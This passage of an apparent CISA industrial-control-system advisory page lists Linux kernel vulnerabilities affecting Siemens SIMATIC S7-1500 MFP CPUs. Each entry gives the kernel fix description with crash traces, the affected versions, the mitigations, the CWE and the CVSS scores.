48 8b 47 08 &lt;48&gt; 83 b8 b0 02 00 00 00 74 97 eb 81 0f 1f 80 00 00 00 00 90 90 90 [ 998.393906] RSP: 0018:ffffce5864a5f6a0 EFLAGS: 00010246 [ 998.393912] RAX: ff00000000ffff89 RBX: ffff894d0adf5a05 RCX: 0000000000000000 [ 998.393917] RDX: 0000000000000000 RSI: 00000000ffffffff RDI: ffff894d0adf5a05 [ 998.393921] RBP: ffff894d19252000 R08: ffff894d19252000 R09: 0000000000000000 [ 998.393924] R10: ffff894d19252000 R11: ffff894d192521b8 R12: 0000000000000006 [ 998.393927] R13: ffffce5864a5f738 R14: 00000000ffffffe2 R15: 0000000000000000 [ 998.393931] FS: 00007fad61971800(0000) GS:ffff894cc0140000(0000) knlGS:0000000000000000 [ 998.393936] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 998.393940] CR2: 000055df0a2a6e40 CR3: 000000011c7fe003 CR4: 00000000007726f0 [ 998.393944] PKRU: 55555554 [ 998.393946] Call Trace: [ 998.393949] [ 998.393952] ? show_trace_log_lvl+0x1b0/0x2f0 [ 998.393961] ? show_trace_log_lvl+0x1b0/0x2f0 [ 998.393975] ? dp_device_event+0x41/0x80 [openvswitch] [ 998.394009] ? __die_body.cold+0x8/0x12 [ 998.394016] ? die_addr+0x3c/0x60 [ 998.394027] ? exc_general_protection+0x16d/0x390 [ 998.394042] ? asm_exc_general_protection+0x26/0x30 [ 998.394058] ? dev_set_promiscuity+0x8d/0xa0 [ 998.394066] ? ovs_netdev_detach_dev+0x3a/0x80 [openvswitch] [ 998.394092] dp_device_event+0x41/0x80 [openvswitch] [ 998.394102] notifier_call_chain+0x5a/0xd0 [ 998.394106] unregister_netdevice_many_notify+0x51b/0xa60 [ 998.394110] rtnl_dellink+0x169/0x3e0 [ 998.394121] ? rt_mutex_slowlock.constprop.0+0x95/0xd0 [ 998.394125] rtnetlink_rcv_msg+0x142/0x3f0 [ 998.394128] ? avc_has_perm_noaudit+0x69/0xf0 [ 998.394130] ? __pfx_rtnetlink_rcv_msg+0x10/0x10 [ 998.394132] netlink_rcv_skb+0x50/0x100 [ 998.394138] netlink_unicast+0x292/0x3f0 [ 998.394141] netlink_sendmsg+0x21b/0x470 [ 998.394145] ____sys_sendmsg+0x39d/0x3d0 [ 998.394149] ___sys_sendmsg+0x9a/0xe0 [ 998.394156] __sys_sendmsg+0x7a/0xd0 [ 998.394160] do_syscall_64+0x7f/0x170 [ 998.394162] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 998.394165] RIP: 0033:0x7fad61bf4724 [ 998.394188] Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d c5 e9 0c 00 00 74 13 b8 2e 00 00 00 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 [ 998.394189] RSP: 002b:00007ffd7e2f7cb8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e [ 998.394191] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007fad61bf4724 [ 998.394193] RDX: 0000000000000000 RSI: 00007ffd7e2f7d20 RDI: 0000000000000003 [ 998.394194] RBP: 00007ffd7e2f7d90 R08: 0000000000000010 R09: 000000000000003f [ 998.394195] R10: 000055df11558010 R11: 0000000000000202 R12: 00007ffd7e2 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31508">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31515</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: af_key: validate families in pfkey_send_migrate() syzbot was able to trigger a crash in skb_put() [1] Issue is that pfkey_send_migrate() does not check old/new families, and that set_ipsecrequest() @family argument was truncated, thus possibly overfilling the skb. Validate families early, do not wait set_ipsecrequest(). [1] skbuff: skb_over_panic: text:ffffffff8a752120 len:392 put:16 head:ffff88802a4ad040 data:ffff88802a4ad040 tail:0x188 end:0x180 dev: kernel BUG at net/core/skbuff.c:214 ! Call Trace: skb_over_panic net/core/skbuff.c:219 [inline] skb_put+0x159/0x210 net/core/skbuff.c:2655 skb_put_zero include/linux/skbuff.h:2788 [inline] set_ipsecrequest net/key/af_key.c:3532 [inline] pfkey_send_migrate+0x1270/0x2e50 net/key/af_key.c:3636 km_migrate+0x155/0x260 net/xfrm/xfrm_state.c:2848 xfrm_migrate+0x2140/0x2450 net/xfrm/xfrm_policy.c:4705 xfrm_do_migrate+0x8ff/0xaa0 net/xfrm/xfrm_user.c:3150</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31515">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/131.html">CWE-131 Incorrect Calculation of Buffer Size</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31518</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: esp: fix skb leak with espintcp and async crypto When the TX queue for espintcp is full, esp_output_tail_tcp will return an error and not free the skb, because with synchronous crypto, the common xfrm output code will drop the packet for us. With async crypto (esp_output_done), we need to drop the skb when esp_output_tail_tcp returns an error.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31518">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31521</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: module: Fix kernel panic when a symbol st_shndx is out of bounds The module loader doesn't check for bounds of the ELF section index in simplify_symbols(): for (i = 1; i &lt; symsec-&gt;sh_size / sizeof(Elf_Sym); i++) { const char *name = info-&gt;strtab + sym[i].st_name; switch (sym[i].st_shndx) { case SHN_COMMON: [...] default: /* Divert to percpu allocation if a percpu var. */ if (sym[i].st_shndx == info-&gt;index.pcpu) secbase = (unsigned long)mod_percpu(mod); else /** HERE --&gt; **/ secbase = info-&gt;sechdrs[sym[i].st_shndx].sh_addr; sym[i].st_value += secbase; break; } } A symbol with an out-of-bounds st_shndx value, for example 0xffff (known as SHN_XINDEX or SHN_HIRESERVE), may cause a kernel panic: BUG: unable to handle page fault for address: ... RIP: 0010:simplify_symbols+0x2b2/0x480 ... Kernel panic - not syncing: Fatal exception This can happen when module ELF is legitimately using SHN_XINDEX or when it is corrupted. Add a bounds check in simplify_symbols() to validate that st_shndx is within the valid range before using it. This issue was discovered due to a bug in llvm-objcopy, see relevant discussion for details [1]. [1] https://lore.kernel.org/linux-modules/20251224005752.201911-1-ihor.solodrai@linux.dev/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31521">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1285.html">CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31533</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/tls: fix use-after-free in -EBUSY error path of tls_do_encryption The -EBUSY handling in tls_do_encryption(), introduced by commit 859054147318 ("net: tls: handle backlogging of crypto requests"), has a use-after-free due to double cleanup of encrypt_pending and the scatterlist entry. When crypto_aead_encrypt() returns -EBUSY, the request is enqueued to the cryptd backlog and the async callback tls_encrypt_done() will be invoked upon completion. That callback unconditionally restores the scatterlist entry (sge-&gt;offset, sge-&gt;length) and decrements ctx-&gt;encrypt_pending. However, if tls_encrypt_async_wait() returns an error, the synchronous error path in tls_do_encryption() performs the same cleanup again, double-decrementing encrypt_pending and double-restoring the scatterlist. The double-decrement corrupts the encrypt_pending sentinel (initialized to 1), making tls_encrypt_async_wait() permanently skip the wait for pending async callbacks. A subsequent sendmsg can then free the tls_rec via bpf_exec_tx_verdict() while a cryptd callback is still pending, resulting in a use-after-free when the callback fires on the freed record. Fix this by skipping the synchronous cleanup when the -EBUSY async wait returns an error, since the callback has already handled encrypt_pending and sge restoration.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31533">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/763.html">CWE-763 Release of Invalid Pointer or Reference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31546</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: bonding: fix NULL deref in bond_debug_rlb_hash_show rlb_clear_slave intentionally keeps RLB hash-table entries on the rx_hashtbl_used_head list with slave set to NULL when no replacement slave is available. However, bond_debug_rlb_hash_show visites client_info-&gt;slave without checking if it's NULL. Other used-list iterators in bond_alb.c already handle this NULL-slave state safely: - rlb_update_client returns early on !client_info-&gt;slave - rlb_req_update_slave_clients, rlb_clear_slave, and rlb_rebalance compare slave values before visiting - lb_req_update_subnet_clients continues if slave is NULL The following NULL deref crash can be trigger in bond_debug_rlb_hash_show: [ 1.289791] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 1.292058] RIP: 0010:bond_debug_rlb_hash_show (drivers/net/bonding/bond_debugfs.c:41) [ 1.293101] RSP: 0018:ffffc900004a7d00 EFLAGS: 00010286 [ 1.293333] RAX: 0000000000000000 RBX: ffff888102b48200 RCX: ffff888102b48204 [ 1.293631] RDX: ffff888102b48200 RSI: ffffffff839daad5 RDI: ffff888102815078 [ 1.293924] RBP: ffff888102815078 R08: ffff888102b4820e R09: 0000000000000000 [ 1.294267] R10: 0000000000000000 R11: 0000000000000000 R12: ffff888100f929c0 [ 1.294564] R13: ffff888100f92a00 R14: 0000000000000001 R15: ffffc900004a7ed8 [ 1.294864] FS: 0000000001395380(0000) GS:ffff888196e75000(0000) knlGS:0000000000000000 [ 1.295239] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1.295480] CR2: 0000000000000000 CR3: 0000000102adc004 CR4: 0000000000772ef0 [ 1.295897] Call Trace: [ 1.296134] seq_read_iter (fs/seq_file.c:231) [ 1.296341] seq_read (fs/seq_file.c:164) [ 1.296493] full_proxy_read (fs/debugfs/file.c:378 (discriminator 1)) [ 1.296658] vfs_read (fs/read_write.c:572) [ 1.296981] ksys_read (fs/read_write.c:717) [ 1.297132] do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1)) [ 1.297325] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) Add a NULL check and print "(none)" for entries with no assigned slave.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31546">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31555</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: futex: Clear stale exiting pointer in futex_lock_pi() retry path Fuzzying/stressing futexes triggered: WARNING: kernel/futex/core.c:825 at wait_for_owner_exiting+0x7a/0x80, CPU#11: futex_lock_pi_s/524 When futex_lock_pi_atomic() sees the owner is exiting, it returns -EBUSY and stores a refcounted task pointer in 'exiting'. After wait_for_owner_exiting() consumes that reference, the local pointer is never reset to nil. Upon a retry, if futex_lock_pi_atomic() returns a different error, the bogus pointer is passed to wait_for_owner_exiting(). CPU0 CPU1 CPU2 futex_lock_pi(uaddr) // acquires the PI futex exit() futex_cleanup_begin() futex_state = EXITING; futex_lock_pi(uaddr) futex_lock_pi_atomic() attach_to_pi_owner() // observes EXITING *exiting = owner; // takes ref return -EBUSY wait_for_owner_exiting(-EBUSY, owner) put_task_struct(); // drops ref // exiting still points to owner goto retry; futex_lock_pi_atomic() lock_pi_update_atomic() cmpxchg(uaddr) *uaddr ^= WAITERS // whatever // value changed return -EAGAIN; wait_for_owner_exiting(-EAGAIN, exiting) // stale WARN_ON_ONCE(exiting) Fix this by resetting upon retry, essentially aligning it with requeue_pi.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31555">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31563</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: macb: Use dev_consume_skb_any() to free TX SKBs The napi_consume_skb() function is not intended to be called in an IRQ disabled context. However, after commit 6bc8a5098bf4 ("net: macb: Fix tx_ptr_lock locking"), the freeing of TX SKBs is performed with IRQs disabled. To resolve the following call trace, use dev_consume_skb_any() for freeing TX SKBs: WARNING: kernel/softirq.c:430 at __local_bh_enable_ip+0x174/0x188, CPU#0: ksoftirqd/0/15 Modules linked in: CPU: 0 UID: 0 PID: 15 Comm: ksoftirqd/0 Not tainted 7.0.0-rc4-next-20260319-yocto-standard-dirty #37 PREEMPT Hardware name: ZynqMP ZCU102 Rev1.1 (DT) pstate: 200000c5 (nzCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __local_bh_enable_ip+0x174/0x188 lr : local_bh_enable+0x24/0x38 sp : ffff800082b3bb10 x29: ffff800082b3bb10 x28: ffff0008031f3c00 x27: 000000000011ede0 x26: ffff000800a7ff00 x25: ffff800083937ce8 x24: 0000000000017a80 x23: ffff000803243a78 x22: 0000000000000040 x21: 0000000000000000 x20: ffff000800394c80 x19: 0000000000000200 x18: 0000000000000001 x17: 0000000000000001 x16: ffff000803240000 x15: 0000000000000000 x14: ffffffffffffffff x13: 0000000000000028 x12: ffff000800395650 x11: ffff8000821d1528 x10: ffff800081c2bc08 x9 : ffff800081c1e258 x8 : 0000000100000301 x7 : ffff8000810426ec x6 : 0000000000000000 x5 : 0000000000000001 x4 : 0000000000000001 x3 : 0000000000000000 x2 : 0000000000000008 x1 : 0000000000000200 x0 : ffff8000810428dc Call trace: __local_bh_enable_ip+0x174/0x188 (P) local_bh_enable+0x24/0x38 skb_attempt_defer_free+0x190/0x1d8 napi_consume_skb+0x58/0x108 macb_tx_poll+0x1a4/0x558 __napi_poll+0x50/0x198 net_rx_action+0x1f4/0x3d8 handle_softirqs+0x16c/0x560 run_ksoftirqd+0x44/0x80 smpboot_thread_fn+0x1d8/0x338 kthread+0x120/0x150 ret_from_fork+0x10/0x20 irq event stamp: 29751 hardirqs last enabled at (29750): [] _raw_spin_unlock_irqrestore+0x44/0x88 hardirqs last disabled at (29751): [] _raw_spin_lock_irqsave+0x38/0x98 softirqs last enabled at (29150): [] handle_softirqs+0x504/0x560 softirqs last disabled at (29153): [] run_ksoftirqd+0x44/0x80</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31563">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
